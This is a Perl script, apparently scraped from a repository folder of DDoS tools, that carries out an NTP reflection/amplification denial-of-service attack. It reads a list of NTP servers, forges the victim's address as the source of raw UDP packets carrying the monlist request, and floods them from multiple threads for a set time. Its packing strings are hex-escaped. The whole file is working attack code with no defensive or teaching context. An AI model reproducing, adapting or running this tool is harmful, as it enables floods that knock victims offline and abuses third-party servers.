Path: blob/master/DDOS Scripts/AMP Methods/NTP - SNMP - HAVEN - DNS -DRDOS - FRAG - SUDP - MEMCACHED/ntp-pl.pl
4622 views
use threads;1use Socket;23my $num_of_threads = $ARGV[5];4my $target = $ARGV[0];5my $udp_src_port = $ARGV[1];6my $time = $ARGV[2];7#Open Input List.8my $openme = $ARGV[3];9open my $handle, '<', $openme;10chomp(my @servers = <$handle>);11close $handle;12my $ppr = $ARGV[4];13my @threads = initThreads();14print "I guess im attacking $target for $time seconds with $num_of_threads threads\n";1516#Does the list exist?17if (-e $openme) {18print "Using $openme as list.\n";19}20unless (-e $openme) {21print "List does not exist.\n";22exit();23}2425#Start Threading26foreach(@threads){27$_ = threads->create(\&attackshit);28}29foreach(@threads){30$_->join();31}32sub initThreads{33my @initThreads;34for(my $i = 1;$i<=$num_of_threads;$i++){35push(@initThreads,$i);36}37return @initThreads;38}394041#Start DDosing.42sub attackshit{4344alarm("$time");45repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4];46my $ip_src = ( gethostbyname($target) )[4];47socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!;48setsockopt( RAW, 0, 1, 1 );49main();5051sub main {52my $packet;53$packet = ip_header();54$packet .= udp_header();55$packet .= payload();56#send_packet($packet) && goto repeat;57#send_packet($packet)58for (1 .. $ppr) {59send_packet($packet) or last;60}61goto repeat;62}6364sub ip_header {65my $ip_ver = 4;66my $ip_header_len = 5;67my $ip_tos = 0;68my $ip_total_len = $ip_header_len + 20;69my $ip_frag_id = 0;70my $ip_frag_flag = "\x30\x31\x30";71my $ip_frag_offset = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";72my $ip_ttl = 255;73my $ip_proto = 17;74my $ip_checksum = 0;75my $ip_header = pack(76"\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34",77$ip_ver . $ip_header_len, $ip_tos,78$ip_total_len, $ip_frag_id,79$ip_frag_flag . $ip_frag_offset, $ip_ttl,80$ip_proto, $ip_checksum,81$ip_src, $ip_dst82);83return $ip_header;84}8586sub udp_header {87my $udp_dst_port = 123;88my $udp_len = 8 + length( payload() );89my $udp_checksum = 0;90my $udp_header = pack( "\x6E\x20\x6E\x20\x6E\x20\x6E",91$udp_src_port, $udp_dst_port, $udp_len, $udp_checksum );92return $udp_header;93}9495sub payload {96my $data = "\x17\x00\x03\x2a" . "\x00" x 4;97my $payload = pack( "\x61" . length($data), $data );98return $payload;99}100101sub send_packet {102send( RAW, $_[0], 0,103pack( "\x53\x6E\x61\x34\x78\x38", AF_INET, 60, $ip_dst ) );104}105106}107108109